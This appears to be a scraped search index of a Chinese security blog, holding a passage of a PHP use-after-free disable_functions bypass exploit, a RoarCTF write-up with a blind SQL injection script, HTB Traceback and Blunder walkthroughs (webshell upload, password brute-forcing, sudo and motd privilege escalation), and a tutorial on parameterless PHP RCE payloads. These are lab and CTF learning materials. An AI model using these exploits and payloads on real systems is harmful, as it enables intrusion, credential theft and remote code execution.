$this-\u003eread($closure_addr + 0x10); $this-\u003elog(\"closure class_entry @ 0x%x\", $closure_ce); $basic_funcs = $this-\u003eget_basic_funcs($closure_ce); $this-\u003elog(\"basic_functions @ 0x%x\", $basic_funcs); $zif_system = $this-\u003eget_system($basic_funcs); $this-\u003elog(\"zif_system @ 0x%x\", $zif_system); $fake_closure_off = $this-\u003ehelper_off + CHUNK_SIZE * 2; for($i = 0; $i \u003c 0x138; $i += 8) { $this-\u003ewrite($fake_closure_off + $i, $this-\u003eread($closure_addr + $i)); } $this-\u003ewrite($fake_closure_off + 0x38, 1, 4); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; $this-\u003ewrite($fake_closure_off + $handler_offset, $zif_system); $fake_closure_addr = $this-\u003ehelper_addr + $fake_closure_off - $this-\u003ehelper_off; $this-\u003ewrite($this-\u003ehelper_off + 0x38, $fake_closure_addr); $this-\u003elog(\"fake closure @ 0x%x\", $fake_closure_addr); $this-\u003ecleanup(); ($this-\u003ehelper-\u003eb)(CMD); } private function make_uaf_obj() { $this-\u003euafp = fopen('php://memory', 'w'); fwrite($this-\u003euafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE)); for($i = 0; $i \u003c STRING_SIZE; $i++) { fwrite($this-\u003euafp, \"\\x00\"); } } private function prepare_leaker() { $str_off = $this-\u003ehelper_off + CHUNK_SIZE + 8; $this-\u003ewrite($str_off, 2); $this-\u003ewrite($str_off + 0x10, 6); $val_off = $this-\u003ehelper_off + 0x48; $this-\u003ewrite($val_off, $this-\u003ehelper_addr + CHUNK_SIZE + 8); $this-\u003ewrite($val_off + 8, 0xA); } private function prepare_cleanup($binary_leak) { $ret_gadget = $binary_leak; do { --$ret_gadget; } while($this-\u003eread($ret_gadget, 1) !== 0xC3); $this-\u003elog(\"ret gadget = 0x%x\", $ret_gadget); $this-\u003ewrite(0, $this-\u003eabc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60)); $this-\u003ewrite(8, $ret_gadget); } private function read($addr, $n = 8) { $this-\u003ewrite($this-\u003ehelper_off + CHUNK_SIZE + 16, $addr - 0x","date":"2021-01-29","objectID":"/bypass-disable_function-php/:16:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"Reference https://www.cnblogs.com/tr1ple/p/11213732.html https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD https://www.anquanke.com/post/id/208451 https://xz.aliyun.com/t/4623 https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/ https://www.anquanke.com/post/id/197745 https://xz.aliyun.com/t/4688 https://www.cnblogs.com/BOHB-yunying/p/11691382.html#cRYwzKZ5 https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/ https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/php-fastcgi-remote-exploit.md https://github.com/mm0r1/exploits https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions https://github.com/mm0r1/exploits/tree/master/php-filter-bypass ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:17:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Writeup"],"content":"你能登陆成功吗 PostgreSQL盲注 SELECT * FROM users WHERE username='${username}' AND password='${password}' //flag{eb4aaa7f-1362-4f4c-9f5f-a7202518314b} exp: import requests import time def timeInjection(): URL = \"http://139.129.98.9:30005/\" result = \"\" payload = \"1'||(case/**/when/**/(coalesce(ascii(substr((select/**/password),{},1)),0)={})/**/then/**/pg_sleep(2)/**/else/**/pg_sleep(0)/**/end)--\" for i in range(1,100): for j in range(32,128): tmp_payload = payload.format(i,j) params = { 'username':\"admin\", 'password':tmp_payload } start_time = time.time() requests.post(url = URL, data=params) if time.time() - start_time \u003e 2: result += chr(j) print(result) print(time.time() - start_time) break else: pass timeInjection() #密码:Pg5QL1sF4ns1N4T1n9 ","date":"2020-12-08","objectID":"/roarctf2020-writeup/:1:0","tags":["SQL注入","RCE"],"title":"RoarCTF2020 Writeup","uri":"/roarctf2020-writeup/"},{"categories":["Writeup"],"content":"你能登陆成功吗-Revenge PostgreSQL盲注 flag{5f2561bb-685e-4b36-927b-89ec76fec285} exp:上面的exp端口改成30007即可 密码:S0rryF0Rm1st4ke111 ","date":"2020-12-08","objectID":"/roarctf2020-writeup/:2:0","tags":["SQL注入","RCE"],"title":"RoarCTF2020 Writeup","uri":"/roarctf2020-writeup/"},{"categories":["Writeup"],"content":"badhack 本来看到中间这算法,丢给20000s师傅去逆一下写个解密脚本,然后他还没看我就绕过了,抢了个二血,感觉打了个非预期,后来看了Nu1l的wp都是直接写逆算法解的,也不知道是不是非预期。。 注释有提示bond007.php 访问bond007.php给了源码,第47行可控GET传参cmd,然后第48行限制要求传入数组,且要求传入42个元素,第108到111行,遍历拼接数组各键值给cmd,最后eval执行 一开始尝试传入cmd[0]到cmd[41] 发现经过算法后,cmd[0~41]内容不可控 但大于41后的数组内容可控,且本地尝试过程中,发现由于它算法原因,产生了个小trick var_dump($input);//结果如下 可控数组在$input中排在不可控数组前,我们可以在进行eval时使用多行注释忽略其后部分无用字符 然后一个个传入ascii构造即可 system('ls')/* http://47.104.191.60:38199/bond007.php?cmd[52]=115\u0026cmd[53]=121\u0026cmd[54]=115\u0026cmd[55]=116\u0026cmd[56]=101\u0026cmd[57]=109\u0026cmd[58]=40\u0026cmd[59]=39\u0026cmd[60]=108\u0026cmd[61]=115\u0026cmd[62]=39\u0026cmd[63]=41\u0026cmd[64]=59\u0026cmd[65]=47\u0026cmd[66]=42\u0026cmd[15]=100\u0026cmd[16]=100\u0026cmd[17]=100\u0026cmd[18]=100\u0026cmd[19]=100\u0026cmd[20]=100\u0026cmd[21]=100\u0026cmd[22]=100\u0026cmd[23]=100\u0026cmd[24]=100\u0026cmd[25]=100\u0026cmd[26]=100\u0026cmd[27]=100\u0026cmd[28]=100\u0026cmd[29]=100\u0026cmd[30]=100\u0026cmd[31]=100\u0026cmd[32]=100\u0026cmd[33]=100\u0026cmd[34]=100\u0026cmd[35]=100\u0026cmd[36]=100\u0026cmd[37]=100\u0026cmd[38]=100\u0026cmd[39]=100\u0026cmd[40]=100\u0026cmd[41]=100 //bond007.php index.php system('ls /')/* http://47.104.191.60:38199/bond007.php?cmd[52]=115\u0026cmd[53]=121\u0026cmd[54]=115\u0026cmd[55]=116\u0026cmd[56]=101\u0026cmd[57]=109\u0026cmd[58]=40\u0026cmd[59]=39\u0026cmd[60]=108\u0026cmd[61]=115\u0026cmd[62]=32\u0026cmd[63]=47\u0026cmd[64]=39\u0026cmd[65]=41\u0026cmd[66]=59\u0026cmd[67]=47\u0026cmd[68]=42\u0026cmd[17]=100\u0026cmd[18]=100\u0026cmd[19]=100\u0026cmd[20]=100\u0026cmd[21]=100\u0026cmd[22]=100\u0026cmd[23]=100\u0026cmd[24]=100\u0026cmd[25]=100\u0026cmd[26]=100\u0026cmd[27]=100\u0026cmd[28]=100\u0026cmd[29]=100\u0026cmd[30]=100\u0026cmd[31]=100\u0026cmd[32]=100\u0026cmd[33]=100\u0026cmd[34]=100\u0026cmd[35]=100\u0026cmd[36]=100\u0026cmd[37]=100\u0026cmd[38]=100\u0026cmd[39]=100\u0026cmd[40]=100\u0026cmd[41]=100 //bin boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var system('cat /f*')/* http://47.104.191.60:38199/bond007.php?cmd[52]=115\u0026cmd[53]=121\u0026cmd[54]=115\u0026cmd[55]=116\u0026cmd[56]=101\u0026cmd[57]=109\u0026cmd[58]=40\u0026cmd[59]=39\u0026cmd[60]=99\u0026cmd[61]=97\u0026cmd[62]=116\u0026cmd[63]=32\u0026cmd[64]=47\u0026cmd[65]=102\u0026cmd[66]=42\u0026cmd[67]=39\u0026cmd[68]=41\u0026cmd[69]=59\u0026cmd[70]=47\u0026cmd[71]=42\u0026cmd[20]=100\u0026cmd[21]=100\u0026cmd[22]=100\u0026cmd[23]=100\u0026cmd[24]=100\u0026cmd[25]=100\u0026cmd[26]=100\u0026cmd[27]=100\u0026cmd[28]=100\u0026cmd[29]=100\u0026cmd[30]=100\u0026cmd[31]=100\u0026cmd[32]=100\u0026cmd[33]=100\u0026cmd[34]=100\u0026cmd[35]=100\u0026cmd[36]=100\u0026cmd[37]=100\u0026cmd[38]=100\u0026cmd[39]=100\u0026cmd[40]=100\u0026cmd[41]=100 //flag{1e6679596f82b91745d7b0f22489f773} ","date":"2020-12-08","objectID":"/roarctf2020-writeup/:3:0","tags":["SQL注入","RCE"],"title":"RoarCTF2020 Writeup","uri":"/roarctf2020-writeup/"},{"categories":["Writeup"],"content":"HTB Traceback 靶机渗透笔记 一样的nmap扫一下,发现80端口开了web服务,访问: 发现网站被黑了,看下源码,发现注释: \u003c!--Some of the best web shells that you might need ;)--\u003e 直接Google一下,发现一个webshell项目: 项目链接:TheBinitGhimire/Web-Shells 因为是PHP环境,把其中的php马尝试一遍,发现smevk.php可以使用: 使用用户名密码均为admin登录,使用自带的反弹shell得到shell: 在/home目录发现另一个用户: $ ls -al total 16 drwxr-xr-x 4 root root 4096 Aug 25 2019 . drwxr-xr-x 22 root root 4096 Aug 25 2019 .. drwxr-x--- 5 sysadmin sysadmin 4096 Mar 16 03:53 sysadmin drwxr-x--- 5 webadmin sysadmin 4096 Jul 11 19:20 webadmin 在webadmin目录发现: $ cd webadmin $ ls -al total 48 drwxr-x--- 5 webadmin sysadmin 4096 Jul 11 19:20 . drwxr-xr-x 4 root root 4096 Aug 25 2019 .. -rw------- 1 webadmin webadmin 105 Mar 16 04:03 .bash_history -rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout -rw-r--r-- 1 webadmin webadmin 3771 Aug 23 2019 .bashrc drwx------ 2 webadmin webadmin 4096 Aug 23 2019 .cache drwxrwxr-x 3 webadmin webadmin 4096 Aug 24 2019 .local -rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history -rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 06:29 .ssh -rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 03:53 note.txt -rw-rw-rw- 1 webadmin webadmin 22 Jul 11 19:20 privesc.lua $ cat .bash_history ls -la sudo -l nano privesc.lua sudo -u sysadmin /home/sysadmin/luvit privesc.lua rm privesc.lua logout $ cat note.txt - sysadmin - I have left a tool to practice Lua. I'm sure you know where to find it. Contact me if you have any question. 没有权限查看sysadmin目录: $ cd sysadmin /bin/sh: 20: cd: can't cd to sysadmin 根据历史命令可以看见用户编辑并执行了privesc.lua,查看: $ cat privesc.lua os.execute(\"/bin/sh\") 看下webadmin的权限: $ sudo -l Matching Defaults entries for webadmin on traceback: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User webadmin may run the following commands on traceback: (sysadmin) NOPASSWD: /home/sysadmin/luvit 发现可以执行/home/sysadmin/luvit 所以模仿历史命令直接执行: $ sudo -u sysadmin /home/sysadmin/luvit privesc.lua sh: turning off NDELAY mode ls note.txt privesc.lua id uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin) whoami sysadmin 获得了sysadmin权限,拿到user.txt 接下来根据网上的wp,使用pspy工具监视进程:DominicBreuker/pspy 发现系统每隔30秒就把/var/backups/.update-motd.d/中的文件都复制到/etc/update-motd.d/,Google一下update-motd.d的作用,发现是每次SSH登录成功后,会执行00-header文件中的命令 之前nmap发现22端口开着,所以可以使用公钥ssh登录: 生成密钥对: ssh-keygen -t rsa -P '' -f ~/.ssh/id_rsa 然后将id_rsa.pub也就是公钥复制到靶机的/home/webadmin/.ssh/authorized_keys: echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC75Pgdeh6oZ2nsAfys/lWzVoh+NTRcC1boeU+tfdI6n6PG2K7oU3JB2cPukdbIzFmCxLi/ra9aoMT7ckm6e952dB/Q8GfjwVapbj9vAw5ZSpuK3ihQwTHfrFXqzFiYDfYFTuoRHTl5xkQIepxLh61C+ig98ClKUjoDaz7/WXiIaHhM+ClxG51TlquDBZQc+Fzyob5bBDRB1TxpYznrPsf1dMnC1qqVz6jzuq2AyQoM9pJcL73ig5aNlG/R8TpGC4fWjlSWsA30dQQRex+V3fOJRgYG0YTov+6jVKeM3DSZsWQM5phOo83iL+ICpfXGCgyflj9z9G3BUIuXV91BoVIs1JVaD/aH1I3gb5iVaOq1hlxPhZchPf5dqN/xDVB/7yEDH0sD3HIDOdroEk2b69g9FmpgGpR9x5vuQRQ3a41Jpb3MyDxVMq0Y7UHi2Kue9JASZsKFZaHKh2KnDELaoy9zwuRHRr623KKqd3vvYGinPgYUUOwGgabwwRyKQT3NGWc= root@kali \u003e\u003e /home/webadmin/.ssh/authorized_keys 然后使用:ssh -i id_rsa webadmin@10.10.10.181即可登录靶机: 查看下之前监视到的/etc/update-motd.d: 可以看到sysadmin具有修改权限,00-header文件内容发现这是一个bash脚本,是ssh登录成功之后的欢迎信息,并且这个bash脚本是使用root用户权限执行的,我们可以将命令写入00-header,ssh一连上就会执行命令: 先使用sysadmin执行:echo \"cat /root/root.txt\" \u003e\u003e /etc/update-motd.d/00-header 然后使用ssh登录靶机:(两个步骤衔接一定要快,因为30秒就重置了) 成功获得root.txt,也可以反弹个shell拿到root权限 最后贴一个网上找到的流程图: ","date":"2020-07-12","objectID":"/htb-traceback-writeup/:0:0","tags":["Penetration"],"title":"HTB Traceback Writeup","uri":"/htb-traceback-writeup/"},{"categories":["Writeup"],"content":"HTB Blunder 靶机渗透笔记 Info card: 先用nmap探测一下:nmap -A -sV 10.10.10.191 发现80端口有web服务,直接访问,收集信息时在源码看见: 搜索关键词bl-themes后得知该主题是Bludit CMS的主题 查找相关漏洞发现:CVE-2019-16113 然后顺藤摸瓜找到了漏洞发现者在github报送的issue: 找到了作者挖掘该漏洞的博客:某CMS 审计记录 要利用该漏洞,需要登录到后台,先进行信息收集,看能不能找到什么课利用的: 扫目录:python3 dirsearch.py -u http://10.10.10.191 -e * 得到后台路径/admin 然后使用wfuzz工具: 参考:Web模糊测试:WFuzz的坑和快速入门 找到了todo.txt: 看到inform fergus that the new blog needs images ,可以猜测fergus是一个用户 接下来找密码 使用cewl工具利用网站信息生成字典:cewl -w wordlists.txt -d 10 -m 1 http://10.10.10.191/ 参考:Kali Linux字典生成工具Cewl使用全指南 生成了wordlists.txt: 使用脚本爆破: import re import requests #from __future__ import print_function def open_ressources(file_path): return [item.replace(\"\\n\", \"\") for item in open(file_path).readlines()] host = 'http://10.10.10.191' login_url = host + '/admin/login' username = 'fergus' wordlist = open_ressources('/HTB/blunder/wordlists.txt') for password in wordlist: session = requests.Session() login_page = session.get(login_url) csrf_token = re.search('input.+?name=\"tokenCSRF\".+?value=\"(.+?)\"', login_page.text).group(1) print('[*] Trying: {p}'.format(p = password)) headers = { 'X-Forwarded-For': password, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36', 'Referer': login_url } data = { 'tokenCSRF': csrf_token, 'username': username, 'password': password, 'save': '' } login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False) if 'location' in login_result.headers: if '/admin/dashboard' in login_result.headers['location']: print() print('SUCCESS: Password found!') print('Use {u}:{p}to login.'.format(u = username, p = password)) print() break 经过漫长的等待后得到: 于是使用用户名fergus密码RolandDeschain登录后台 在新增内容处上传图片: 然后抓包修改为: POST /admin/ajax/upload-images HTTP/1.1 Host: 10.10.10.191 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://10.10.10.191/admin/new-content X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------3380177671124347526457106204 Content-Length: 553 Connection: close Cookie: BLUDIT-KEY=rvrffshnr7288rhfq343kgua41 -----------------------------3380177671124347526457106204 Content-Disposition: form-data; name=\"images[]\"; filename=\"leon.jpg\" Content-Type: image/png \u003c?PHP fputs(fopen('leon.php','w'),'\u003c?php eval($_GET[aaa])?\u003e');?\u003e -----------------------------3380177671124347526457106204 Content-Disposition: form-data; name=\"uuid\" ../../tmp -----------------------------3380177671124347526457106204 Content-Disposition: form-data; name=\"tokenCSRF\" ceb56bf227d17480762ba33e8a3afce642adca4e -----------------------------3380177671124347526457106204-- 上传.htaccess: POST /admin/ajax/upload-images HTTP/1.1 Host: 10.10.10.191 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://10.10.10.191/admin/new-content X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------3380177671124347526457106204 Content-Length: 546 Connection: close Cookie: BLUDIT-KEY=rvrffshnr7288rhfq343kgua41 -----------------------------3380177671124347526457106204 Content-Disposition: form-data; name=\"images[]\"; filename=\".htaccess\" Content-Type: image/png RewriteEngine Off AddType application/x-httpd-php .jpg -----------------------------3380177671124347526457106204 Content-Disposition: form-data; name=\"uuid\" ../../tmp -----------------------------3380177671124347526457106204 Content-Disposition: form-data; name=\"tokenCSRF\" ceb56bf227d17480762ba33e8a3afce642adca4e -----------------------------3380177671124347526457106204-- 然后访问http://10.10.10.191/bl-content/tmp/leon.jpg生成shell,就获得了www-date权限 使用python反弹个交互shell: http://10.10.10.191/bl-con","date":"2020-07-10","objectID":"/htb-blunder-writeup/:0:0","tags":["Penetration"],"title":"HTB Blunder Writeup","uri":"/htb-blunder-writeup/"},{"categories":["Writeup"],"content":"Reference Hack-The-Box-walkthrough[blunder] ","date":"2020-07-10","objectID":"/htb-blunder-writeup/:1:0","tags":["Penetration"],"title":"HTB Blunder Writeup","uri":"/htb-blunder-writeup/"},{"categories":["Notes"],"content":"本文首发于合天智汇:http://www.heetian.com/info/827 之前做题时遇到了无参数RCE这类题,在网上查找资料发现都是零散的Writeup或者payload,没有一篇能够完整涵盖读取文件和命令执行的技巧,所以我花了点时间,将PHP无参数读文件以及命令执行所用到的方法总结了一遍,希望能对读者起到些许作用。 什么是无参数? 顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等 接下来,从代码开始讲解无参数读文件和RCE的具体技巧,帮助读者熟悉PHP的各种函数、记住无参数读文件和RCE的各类方法: 例题: \u003c?php highlight_file(__FILE__); if(';' === preg_replace('/[^\\W]+\\((?R)?\\)/', '', $_GET['code'])) { eval($_GET['code']); } ?\u003e ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:0:0","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"代码解析 preg_replace('/[^\\W]+\\((?R)?\\)/', '', $_GET['code']) 这里使用preg_replace替换匹配到的字符为空,\\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)? 这个意思为递归整个匹配模式 所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有; 举个例子: a(b(c()));可以使用,但是a('b')或者a('b','c')这种含有参数的都不能使用 所以我们要使用无参数的函数进行文件读取或者命令执行 ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:1:0","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"无参数任意文件读取 ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:2:0","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"查看当前目录文件名 正常的,print_r(scandir('.'));可以用来查看当前目录所有文件名 但是要怎么构造参数里这个点呢,这里介绍几个方法: localeconv() localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是\".\"(后续出现的.都用双引号包裹,方便识别) 要怎么取到这个点呢,另一个函数: current()返回数组中的单元,默认取第一个值: print_r(scandir(current(localeconv())));成功打印出当前目录下文件: 或者使用print_r(scandir(pos(localeconv())));,pos是current的别名 如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE chr(46) chr(46)就是字符\".\" 要构造46,有几个方法: chr(rand()) (不实际,看运气) chr(time()) chr(current(localtime(time()))) chr(time()): chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于\".\" 所以使用chr(time()),一个周期必定出现一次\".\" chr(current(localtime(time()))): 数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得\".\" phpversion() phpversion()返回PHP版本,如5.5.9 floor(phpversion())返回 5 sqrt(floor(phpversion()))返回2.2360679774998 tan(floor(sqrt(floor(phpversion()))))返回 -2.1850398632615 cosh(tan(floor(sqrt(floor(phpversion())))))返回 4.5017381103491 sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156 ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46 chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回\".\" crypt() hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是 $(大概率) 或者 \".\"(小概率) 然后通过chr(ord())只取第一个字符 ps:ord()返回字符串中第一个字符的Ascii值 print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次) 同理:strrev(crypt(serialize(array())))也可以得到\".\",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符 print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); PHP的函数如此强大,获取\".\"的方法肯定还有许多 正常的,我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名 获取绝对路径可用的有getcwd()和realpath('.') 所以我们还可以用print_r(scandir(getcwd()));输出当前文件夹所有文件名 ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:2:1","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"读取当前目录文件 通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取: 前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢: 查询PHP手册发现: 手册里有这些方法,如果要获取的数组是最后一个我们可以用: show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处) ps:readgzfile()也可读文件,常用于绕过过滤 我们添加zflag.php使其排序在index.php后成为最后一个文件 (出现报错的原因是PHP5.3以上默认只能传递具体的变量,而不能通过函数返回值传递,没有关系不影响我们读文件) 介绍一个函数:array_reverse() 以相反的元素顺序返回数组 zflag.php本来在最后一位,反过来就成为第一位,可以直接用current(pos)读取 show_source(current(array_reverse(scandir(getcwd())))); 如果是倒数第二个我们可以用: show_source(next(array_reverse(scandir(getcwd())))); 如果不是数组的最后一个或者倒数第二个呢? 我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组 所以我们可以用: show_source(array_rand(array_flip(scandir(getcwd())))); 或者: show_source(array_rand(array_flip(scandir(current(localeconv()))))); (可以自己结合前面总结的构造\".\"的方法切合实际过滤情况读取,后文就只列举简单的语句) 多刷新几次,就读到了正着数或者倒着数都是第三位的flag1.php: 如果目标文件不在当前目录呢? ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:2:2","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"查看上一级目录文件名 再介绍几个函数: dirname() :返回路径中的目录部分,比如: 从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径 chdir() :改变当前工作目录 dirname()方法 print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 构造\"..\" print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是\"..\",所以可以用next()获取 print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件 结合上文的一些构造都是可以获得\"..\"的 : next(scandir(chr(ord(hebrevc(crypt(time())))))) ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:2:3","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"读取上级目录文件 直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录 前面写到了chdir(),使用: show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); 即可改变当前目录为上一层目录并读取文件: 如果不能使用dirname(),可以使用构造\"..\"的方式切换路径并读取: 但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg)) 这里crypt()和time()可以接收参数,于是构造: show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))))); 或更复杂的: show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))); 还可以用: show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位 多刷新几次: 还有一种构造方法if():(这种更直观些,并且不需要找可接收参数的函数) if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd())))); ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:2:4","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"查看和读取多层上级路径的就不写了,一样的方式套娃就行 ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:2:5","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"查看和读取根目录文件 print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/,所以使用以上payload可以查看根目录文件 但是有权限限制,linux系统下需要一定的权限才能读到,所以不一定成功 同样的: if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); 也可以查看根目录文件,但是也会受到权限限制,不一定成功 读根目录文件:(也是需要权限) if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))); 读文件暂时就写这么多,肯定还有许多函数可以达到相同效果,等待大佬的发掘吧 ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:2:6","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"无参数命令执行(RCE) 我们可以使用无参数函数任意读文件,也可以执行命令: 既然传入的code值不能含有参数,那我们可不可以把参数放在别的地方,code用无参数函数来接收参数呢?这样就可以打破无参数函数的限制: 首先想到headers,因为headers我们用户可控,于是在PHP手册中搜索:headers 经过查找,发现getallheaders()和apache_request_headers() 